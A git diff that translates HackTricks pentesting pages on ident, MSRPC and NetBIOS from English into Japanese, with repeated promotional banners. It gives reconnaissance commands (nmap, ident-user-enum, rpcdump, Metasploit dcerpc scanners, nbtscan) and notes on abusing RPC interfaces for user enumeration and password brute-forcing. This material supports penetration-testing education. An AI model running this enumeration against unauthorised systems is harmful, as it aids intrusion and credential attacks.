repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 7f3963d7f..cbed78b50 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -4,57 +4,54 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ![](<../.gitbook/assets/image (9) (1) (2).png>) -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワードされたワークフロー**を簡単に構築して自動化できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Basic Information +## 基本情報 -Is an [Internet](https://en.wikipedia.org/wiki/Internet) [protocol](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) that helps identify the user of a particular [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) connection. - -**Default port:** 113 +特定の[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続のユーザーを識別するのに役立つ[インターネット](https://en.wikipedia.org/wiki/Internet)プロトコルです。 +**デフォルトポート:** 113 ``` PORT STATE SERVICE 113/tcp open ident ``` +## **列挙** -## **Enumeration** +### **手動 - ユーザーの取得/サービスの識別** -### **Manual - Get user/Identify the service** - -If a machine is running the service ident and samba (445) and you are connected to samba using the port 43218. You can get which user is running the samba service by doing: +マシンがidentサービスとsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます: ![](<../.gitbook/assets/image (15) (1) (1).png>) -If you just press enter when you conenct to the service: +サービスに接続する際にEnterキーを押すだけで、次のような結果が表示されます: ![](<../.gitbook/assets/image (16) (1) (1).png>) -Other errors: +その他のエラー: ![](<../.gitbook/assets/image (17) (1).png>) ### Nmap -By default (-sC) nmap will identify every user of every running port: - +デフォルトでは(-sC)、nmapは実行中のすべてのポートのすべてのユーザーを識別します: ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) |_auth-owners: root -| ssh-hostkey: +| ssh-hostkey: | 1024 88:23:98:0d:9d:8a:20:59:35:b8:14:12:14:d5:d0:44 (DSA) |_ 2048 6b:5d:04:71:76:78:56:96:56:92:a8:02:30:73:ee:fa (RSA) 113/tcp open ident @@ -64,11 +61,9 @@ PORT STATE SERVICE VERSION 445/tcp open netbios-ssn Samba smbd 3.0.24 (workgroup: LOCAL) |_auth-owners: root ``` - ### Ident-user-enum -Ident-user-enum is a simple PERL script to query the ident service (113/TCP) in order to determine the owner of the process listening on each TCP port of a target system. The list of usernames gathered can be used for password guessing attacks on other network services. It can be installed with `apt install ident-user-enum`. - +Ident-user-enumは、ターゲットシステムの各TCPポートでリッスンしているプロセスの所有者を特定するために、identサービス(113/TCP)にクエリを送信するためのシンプルなPERLスクリプトです。収集されたユーザ名のリストは、他のネットワークサービスへのパスワード推測攻撃に使用することができます。`apt install ident-user-enum`を使用してインストールすることができます。 ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -78,7 +73,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) 192.168.1.100:139 root 192.168.1.100:445 root ``` - ### Shodan * `oident` @@ -89,40 +83,38 @@ identd.conf ![](<../.gitbook/assets/image (9) (1) (2).png>) -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## HackTricks Automatic Commands - ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. Port_Number: 113 #Comma separated if there is more than one. Protocol_Description: Identification Protocol #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for Ident - Note: | - Is an Internet protocol that helps identify the user of a particular TCP connection. +Name: Notes +Description: Notes for Ident +Note: | +Is an Internet protocol that helps identify the user of a particular TCP connection. - https://book.hacktricks.xyz/pentesting/113-pentesting-ident +https://book.hacktricks.xyz/pentesting/113-pentesting-ident Entry_2: - Name: Enum Users - Description: Enumerate Users - Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all open ports) +Name: Enum Users +Description: Enumerate Users +Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all open ports) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/135-pentesting-msrpc.md b/network-services-pentesting/135-pentesting-msrpc.md index ec0aeaaf3..484865a98 100644 --- a/network-services-pentesting/135-pentesting-msrpc.md +++ b/network-services-pentesting/135-pentesting-msrpc.md @@ -1,56 +1,53 @@ -# 135, 593 - Pentesting MSRPC +# 135, 593 - MSRPCのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する -## Basic Information +## 基本情報 -Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is [a protocol](http://searchmicroservices.techtarget.com/definition/Remote-Procedure-Call-RPC) that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft. - -Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593. +Microsoft Remote Procedure Call(MSRPC)は、クライアントサーバーモデルを使用して、プログラムが他のコンピュータ上のプログラムにサービスを要求するためのプロトコルです。MSRPCはもともとオープンソースソフトウェアから派生していましたが、Microsoftによってさらに開発され、著作権が保護されています。 +ホストの設定によっては、RPCエンドポイントマッパーはTCPおよびUDPポート135を介してアクセスでき、SMBを介してヌルまたは認証済みセッション(TCP 139および445)でアクセスでき、TCPポート593でリッスンするWebサービスとしても利用できます。 ``` 135/tcp open msrpc Microsoft Windows RPC ``` +## MSRPCの動作原理は? -## How does MSRPC work? +[MSRPCプロセスはクライアント側で始まります](https://technet.microsoft.com/en-us/library/cc738291.aspx)。クライアントアプリケーションは、手続きを実装するコードの代わりにローカルスタブ手続きを呼び出します。クライアントスタブコードは、必要なパラメータをクライアントアドレススペースから取得し、それらをクライアントランタイムライブラリに渡します。その後、クライアントランタイムライブラリはパラメータを標準のネットワークデータ表現形式に変換してサーバに送信します。 -[The MSRPC process begins on the client side](https://technet.microsoft.com/en-us/library/cc738291.aspx), with the client application calling a local stub procedure instead of code implementing the procedure. The client stub code retrieves the required parameters from the client address space and delivers them to the client runtime library, which then translates the parameters into a standard Network Data Representation format to transmit to the server. - -The client stub then calls functions in the RPC client runtime library to send the request and parameters to the server. If the server is located remotely, the runtime library specifies an appropriate transport protocol and engine and passes the RPC to the network stack for transport to the server.\ -From here: [https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/) +クライアントスタブは、RPCクライアントランタイムライブラリの関数を呼び出してリクエストとパラメータをサーバに送信します。サーバがリモートにある場合、ランタイムライブラリは適切なトランスポートプロトコルとエンジンを指定し、RPCをネットワークスタックに渡してサーバに転送します。\ +ここから:[https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/) ![](<../.gitbook/assets/image (133).png>) -**Image From book "**_**Network Security Assesment 3rd Edition**_**"** +**書籍「ネットワークセキュリティ評価 第3版」からの画像** -## **Identifying Exposed RPC Services** +## 公開されたRPCサービスの特定 -**Section extracted from book "**_**Network Security Assesment 3rd Edition**_**"** +**書籍「ネットワークセキュリティ評価 第3版」からの抜粋** -You can query the RPC locator service and individual RPC endpoints to catalog interesting services running over TCP, UDP, HTTP, and SMB (via named pipes). Each IFID value gathered through this process denotes an RPC service (e.g., 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc is the Messenger interface). - -Todd Sabin’s rpcdump and ifids Windows utilities query both the RPC locator and specific RPC endpoints to list IFID values. The rpcdump syntax is as follows: +RPCロケーターサービスと個々のRPCエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMB(名前付きパイプを介して)で実行されている興味深いサービスをカタログ化することができます。このプロセスで収集された各IFID値は、RPCサービスを示します(例:5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fcはMessengerインターフェースです)。 +Todd Sabinのrpcdumpおよびifids Windowsユーティリティは、RPCロケーターと特定のRPCエンドポイントの両方をクエリしてIFID値のリストを表示します。rpcdumpの構文は次のとおりです: ``` D:\rpctools> rpcdump [-p port] 192.168.189.1 IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -58,13 +55,11 @@ Annotation: Messenger Service UUID: 00000000-0000-0000-0000-000000000000 Binding: ncadg_ip_udp:192.168.189.1[1028] ``` +RPCロケーターサービスには、以下の4つのプロトコルシーケンスを使用してアクセスできます: -You can access the RPC locator service by using four protocol sequences: - -* ncacn\_ip\_tcp and ncadg\_ip\_udp (TCP and UDP port 135) -* ncacn\_np (the \pipe\epmapper named pipe via SMB) -* ncacn\_http (RPC over HTTP via TCP port 80, 593, and others) - +* ncacn\_ip\_tcpおよびncadg\_ip\_udp(TCPおよびUDPポート135) +* ncacn\_np(SMB経由の\pipe\epmapperという名前のパイプ) +* ncacn\_http(TCPポート80、593などを介したRPC over HTTP) ```bash use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden @@ -72,57 +67,56 @@ use auxiliary/scanner/dcerpc/management use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor rpcdump.py -p 135 ``` - _Note that from the mentioned options all except of **`tcp_dcerpc_auditor`** can **only** be executed against **msrpc** in **port 135**._ -#### Notable RPC interfaces +#### 注目すべきRPCインターフェース -| **IFID value** | **Named pipe** | **Description** | -| ------------------------------------ | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA interface, used to enumerate users | -| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA Directory Services (DS) interface, used to enumerate domains and trust relationships | -| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) | -| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Task scheduler, used to remotely execute commands | -| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Remote registry service, used to access the system registry | -| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control manager and server services, used to remotely start and stop services and execute commands | -| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Service control manager and server services, used to remotely start and stop services and execute commands | -| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM interface, supporting WMI | +| **IFID値** | **名前付きパイプ** | **説明** | +| ------------------------------------ | -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | ユーザーの列挙に使用されるLSAインターフェース | +| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | ドメインと信頼関係の列挙に使用されるLSAディレクトリサービス(DS)インターフェース | +| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | 公開SAMデータベース要素(ユーザー名など)にアクセスし、アカウントロックアウトポリシーに関係なくユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) | +| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | タスクスケジューラーによるリモートコマンドの実行に使用される | +| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | システムレジストリへのアクセスに使用されるリモートレジストリサービス | +| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | サービスコントロールマネージャーおよびサーバーサービスによるリモートでのサービスの開始と停止、およびコマンドの実行に使用される | +| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | サービスコントロールマネージャーおよびサーバーサービスによるリモートでのサービスの開始と停止、およびコマンドの実行に使用される | +| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | WMIをサポートするDCOMインターフェース | -### Identifying IP addresses +### IPアドレスの特定 -Using [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), comes from [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) is possible to abuse the _**ServerAlive2**_ method inside the _**IOXIDResolver**_ interface. +[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、_**IOXIDResolver**_インターフェース内の_**ServerAlive2**_メソッドを悪用することができます。 -This method has been used to get interface information as **IPv6** address from the HTB box _APT_. See [here](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) for 0xdf APT writeup, it includes an alternative method using rpcmap.py from [Impacket](https://github.com/SecureAuthCorp/impacket/) with _stringbinding_ (see above). +このメソッドは、HTBボックス_APT_から**IPv6**アドレスのインターフェース情報を取得するために使用されました。0xdfのAPT解説については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替方法については、[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_を使用します(上記を参照)。 -References: +参考文献: * [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) * [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) -## Port 593 +## ポート593 -The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) can interact with this port. +[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools)の**rpcdump.exe**をこのポートとやり取りすることができます。 ​
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけましょう +* [**公式PEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/network-services-pentesting/137-138-139-pentesting-netbios.md b/network-services-pentesting/137-138-139-pentesting-netbios.md index 8f6f7e73f..d004f7f91 100644 --- a/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -1,107 +1,97 @@ -# 137,138,139 - Pentesting NetBios +# 137,138,139 - ペントエスティング NetBios
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## NetBios Name Service +## NetBios名前サービス -* Name service for name registration and resolution (ports: 137/udp and 137/tcp). -* Datagram distribution service for connectionless communication (port: 138/udp). -* Session service for connection-oriented communication (port: 139/tcp). +* 名前登録と解決のための名前サービス(ポート:137/udpおよび137/tcp)。 +* 接続なし通信のためのデータグラム配布サービス(ポート:138/udp)。 +* 接続指向通信のためのセッションサービス(ポート:139/tcp)。 -### Name Service +### 名前サービス -Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. - -To discover the IP address of a Name, a PC has to send a "Name Query" packet and wait if anyone answers. If there is a Name Service server, the PC can ask it for the IP of the name. +すべてのマシンはNetBiosネットワーク内で名前を持つべきです。名前を要求するには、マシンはブロードキャストで「名前クエリ」パケットを送信し、誰かがその名前を既に使用していると応答した場合、マシンはその名前を使用できます。名前サービスサーバーがある場合、コンピュータは名前を使用したい名前が誰かに使用されているかどうかを名前サービスサーバーに問い合わせることができます。 +名前のIPアドレスを発見するには、PCは「名前クエリ」パケットを送信し、誰かが応答するのを待つ必要があります。名前サービスサーバーがある場合、PCはその名前のIPを問い合わせることができます。 ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) ``` - -Enumerating a NetBIOS service you can obtain the names the server is using and the MAC address of the server. - +NetBIOSサービスの列挙では、サーバーが使用している名前とサーバーのMACアドレスを取得することができます。 ```bash nmblookup -A nbtscan /30 sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` +### データグラム配信サービス -### Datagram Distribution Service - 